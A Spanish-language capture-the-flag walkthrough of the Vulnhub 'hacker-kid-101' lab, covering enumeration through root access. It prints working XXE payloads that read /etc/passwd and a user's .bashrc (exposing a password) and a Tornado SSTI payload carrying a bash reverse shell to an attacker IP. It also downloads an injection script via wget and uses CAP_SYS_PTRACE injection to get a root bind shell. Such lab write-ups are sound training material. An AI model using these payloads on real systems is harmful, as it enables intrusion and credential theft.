Preparación del laboratorio

La máquina del laboratorio está disponible en: Vulnhub hacker-kid-101

  • Se ha importado la imagen OVA descargada desde el enlace proporcionado.
  • En los ajustes de red, la máquina se ha configurado en una red NAT con el rango 10.0.2.0/24.

Identificación

El primer paso cuando trabajamos con un Vulnhub es identificar la dirección IP de la máquina virtual. Para ello, se ha utilizado la herramienta arp-scan.

ARP Scan

En este caso, la dirección IP asignada a la máquina es 10.0.2.25.

Enumeración

Para obtener información detallada sobre los puertos abiertos y servicios en funcionamiento en esta máquina, utilizamos la herramienta nmap.

sudo nmap -p- -sV -T5 -min-rate 5000 -n -Pn 10.0.2.25

Explicación de las opciones:

  • -p-: Escanea todos los puertos.
  • -sV: Detecta las versiones de los servicios.
  • -T5: Establece la máxima velocidad en el tiempo de espera.
  • -min-rate 5000: Establece la tasa mínima de 5000 paquetes por segundo.
  • -n: Omite la resolución de nombres de host.
  • -Pn: Omite los escaneos de ping, asumiendo que los hosts están activos.

Resultado de nmap: puertos abiertos 53, 80 y 9999

Interpretemos la información proporcionada por nmap:

El puerto 53 ejecuta un servicio DNS con ISC BIND. Este servicio es el encargado de la traducción de nombres de dominio a direcciones IP.

El puerto 80 contiene un servidor web Apache:

Web del puerto 80

El puerto 9999 contiene un servicio http llamado Tornado, es un servidor web basado en Python para crear aplicaciones en tiempo real.

Web del puerto 9999

Exploración del servidor web (puerto 80)

Procedemos a inspeccionar la web que se encuentra en el puerto 80, podemos observar que es posible navegar entre diferentes páginas utilizando el parámetro “page_no” en las peticiones GET.

Inspección del código

Con la herramienta Burp Suite podemos capturar una petición y ver los resultados de los diferentes números de página.

Una vez capturada la petición http://10.0.2.25/?page_no=1. La enviamos a la herramienta Intruder para probar varias numeraciones.

Puedes usar el atajo Ctrl+i para enviar la petición a la herramienta Intruder.

Intruder Positions

Configuramos el payload para que se usen los números del 1 al 30 como valor del parámetro page_no.

Intruder payload

A continuación, iniciamos el ataque y cuando termine, podremos ver que una de las peticiones responde con un tamaño muy diferente al resto.

Intruder Results

Al acceder a la dirección URL http://10.0.2.25/?page_no=21, se observa al final de la página el siguiente mensaje:

Page 21

La pista sugiere la necesidad de enumerar subdominios asociados a hackers.blackhat.local.

Resolución de DNS y descubrimiento de subdominios

Continuamos añadiendo una entrada al archivo /etc/hosts para asociar la IP con el dominio “hackers.blackhat.local” y “blackhat.local”.

Esto es útil para resolver nombres de dominio cuando no disponemos de servidores DNS externos a los que consultar.

10.0.2.25   hackers.blackhat.local blackhat.local

Puedes usar el comando sudo nano /etc/hosts para editar el contenido del archivo /etc/hosts.

El análisis posterior del servicio DNS alojado en el puerto 53, puede contener información del dominio y sus subdominios.

Utilizamos la herramienta dig (Domain Information Groper) para consultar el servidor DNS y obtener información sobre posibles subdominios. Aunque no está diseñada específicamente para este proposito.

Información del dominio

El servidor de nombres autorizado es blackhat.local. hackerkid.blackhat.local.

Debemos añadir el subdominio “hackerkid.blackhat.local” a la configuración del hosts como hicimos antes.

Archivo etc hosts

Al acceder al subdominio podremos ver el siguiente formulario:

Formulario subdominio

Análisis de vulnerabilidades

Con Burp Suite nuevamente se interceptamos la petición POST del formulario para ver cómo se construye el cuerpo del mensaje.

Formulario subdominio post request

Procedemos a envíar el formulario con datos:

Formulario email reflejado

En la imagen anterior podemos observar que el correo electrónico se refleja indicando no ser válido. Lo que da una idea de que podría ser vulnerable a inyecciones XXE.

Explotación de la vulnerabilidad XXE

La vulnerabilidad XXE permite la inclusión de entidades externas dentro de los documentos XML. Modificando la solicitud interceptada.

Ahora modificaremos el cuerpo del mensaje de la solicitud para realizar una inyección XXE con la que leer el archivo /etc/passwd.

A continuación, se muestra el payload utilizado:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
    <name></name>
    <tel></tel>
    <email>&xxe;</email>
    <password></password>
</root>

Lo importante es <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]> aquí se define una entidad llamada xxe. Esta entidad hace referencia a un recurso externo, el archivo del sistema /etc/passwd. Esto significa que cuando se use &xxe; en el XML, el contenido de dicho archivo será insertado en su lugar.

Formulario email reflejado

A contiuación, guardamos la información de las cuentas de usuario obtenidas en un archivo passwd.txt para filtrar por las que tienen login.

grep -v nologin passwd.txt
  • La opción -v muestra todas las líneas que no contienen el patrón especificado.

Listado de los usuario que tienen login:

Usuarios con login

Se viene idea feliz 😆

En las pistas que da la página nº 21, decía “Out of my many homes…one such home..one such home for me: hackers.blackhat.local”.

De la lista anterior, el único usuario con “home” y login es “saket”.

Al obtener el archivo /home/saket/.bashrc como hicimos con el archivo /etc/passwd no obtedremos ningún resultado. Sin embargo, al usar el contenedor PHP aplicando un filtro que convierte el contenido del archivo en base64.

Esto se hace principalmente para evitar problemas con caracteres especiales que podrían romper la estructura del XML o ser interpretados incorrectamente.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
    <name></name>
    <tel></tel>
    <email>&xxe;</email>
    <password></password>
</root>

Mandamos este payload con Burp Suite:

XXE

Usamos el conversor de base64 a texto que proporciona Burp Suite para ver el contenido del archivo y encontramos unas credenciales.

username="admin"
password="Saket!#$%@!!"

Accedemos al servicio web que encontramos en el puerto 9999. Al usar el nombre de usuario “admin” da error, pero podemos usar el usuario “saket” para entrar.

WEB Python

Análisis de vulnerabilidades de Tornado

Con una busqueda rápida en internet vemos que Tornado 6.1 es vulnerable a SSTI (Server Side Template Injectión).

Enlaces de interés:

En la captura anteior, vemos que la página solicita un nombre “Tell me your name buddy”, lo que se traduce como “Dime tu nombre amigo”.

Esto sugiere la existencia de un parámetro GET denominado “name”.

Parámetro name

Parece que la funcionalidad de la aplicación es devolver el valor del parámetro name. Por lo tanto, podemos probar si es vulnerable a SSTI con un ejemplo simple.

WEB Python SSTI Test

¡Es vulnerbale! 😏

Esto significa que podemos inyectar una reverse shell.

Explotación vulnerabilidad SSTI de Tornado

En una terminal, iniciamos un servidor Netcat para escuchar conexiones entrantes en el puerto 4444.

nc -nlvp 4444

Este servidor esperará una conexión inversa desde la máquina objetivo.

Usamos el payload {% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1"')}} para hacer la reverse shell.

  • {% import os %}: Importa el módulo os de Python, que permite interactuar con el sistema operativo.
  • {{os.system(...)}}: Ejecuta el comando dentro de las comillas.
  • bash -c "bash -i >& /dev/tcp/10.0.2.16/4444 0>&1": Inicia una shell interactiva y redirige su entrada y salida a nuestro servidor Netcat.

Antes de utilizar el payload, es necesario codificarlo con URL Encode:

10.0.2.25:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.16%2F4444%200%3E%261%22%27%29%7D%7D

Recibimos la conexión en la terminal:

Reverse shell

¡Estamos dentro! 😈

Una vez que hemos obtenido acceso a la shell, podemos elevarla utilizando Python para mejorar la interfaz y facilitar su uso.

which python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

El comando which python3 se utiliza para determinar la ubicación del ejecutable de Python 3 en el sistema. Si lo encuetra, devuelve la ruta de Python.

Análisis de vulnerabilidades para escalar privilegios

Vamos a buscar todos los archivos binarios que tengan capacidades configuradas para el usuario.

Las capacidades de Linux permiten que los archivos binarios, ejecutados por usuarios no privilegiados, realicen operaciones que normalmente requieren permisos de root.

/sbin/getcap -r / 2>/dev/null

Capacidades del sistema de archivos

La capacidad CAP_SYS_PTRACE está presente en el conjunto de capacidades permitidas del binario /usr/bin/python2.7. Un proceso con CAP_SYS_PTRACE puede adjuntarse a cualquier otro proceso en el sistema, incluyendo aquellos con mayor nivel de privilegio.

Esto podría permitir ejecutar código arbitrario en el contexto de otro proceso, lo que potencialmente facilita la escalación de privilegios.

Procederemos a verificar los servicios que se están ejecutando en la máquina con privilegios de root.

ps -eaf | grep root

Servicios en ejecución

El servicio Apache2 se está ejecutando en la máquina con el PID 1361.

A continuación, necesitamos saber si la máquina ejecuta una versión de Linux de 32 bits o 64 bits.

Servicios en ejecución

La máquina está configurada con un Linux de 64 bits.

Escalada de privilegios

En hacktricks podemos encontrar un artículo que explica la escalada de privilegios cuando tenemos la capacidad CAP_SYS_PTRACE.

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

Hacktricks

Copiamos el exploit de ejemplo y lo guardamos como inject.py.

Este exploit crea un BIND TCP Shell en el puerto 5600 al que luego podremos conectarnos utilizando NetCat.

En la ubicación del archivo, iniciamos un servidor http python -m http.server, lo que nos permite descargar el archivo en la máquina objetivo con wget wget http://10.0.2.16:8000/inject.py.

Ejecución del exploit:

python2.7 inject.py 1361

El PID 1361 pertenece al servicio Apache2 que se está ejecutando en la máquina.

Python2.7 Injection

A continuación, comprobamos con netstat si se ha establecido la conexión al puerto 5600.

netstat -ntlp

netstat

Para finalizar, utilizamos Netcat para establecer una conexión con el puerto 5600 de la máquina objetivo.

nc 10.0.2.25 5600

Root

¡pwn3d! 🏴‍☠️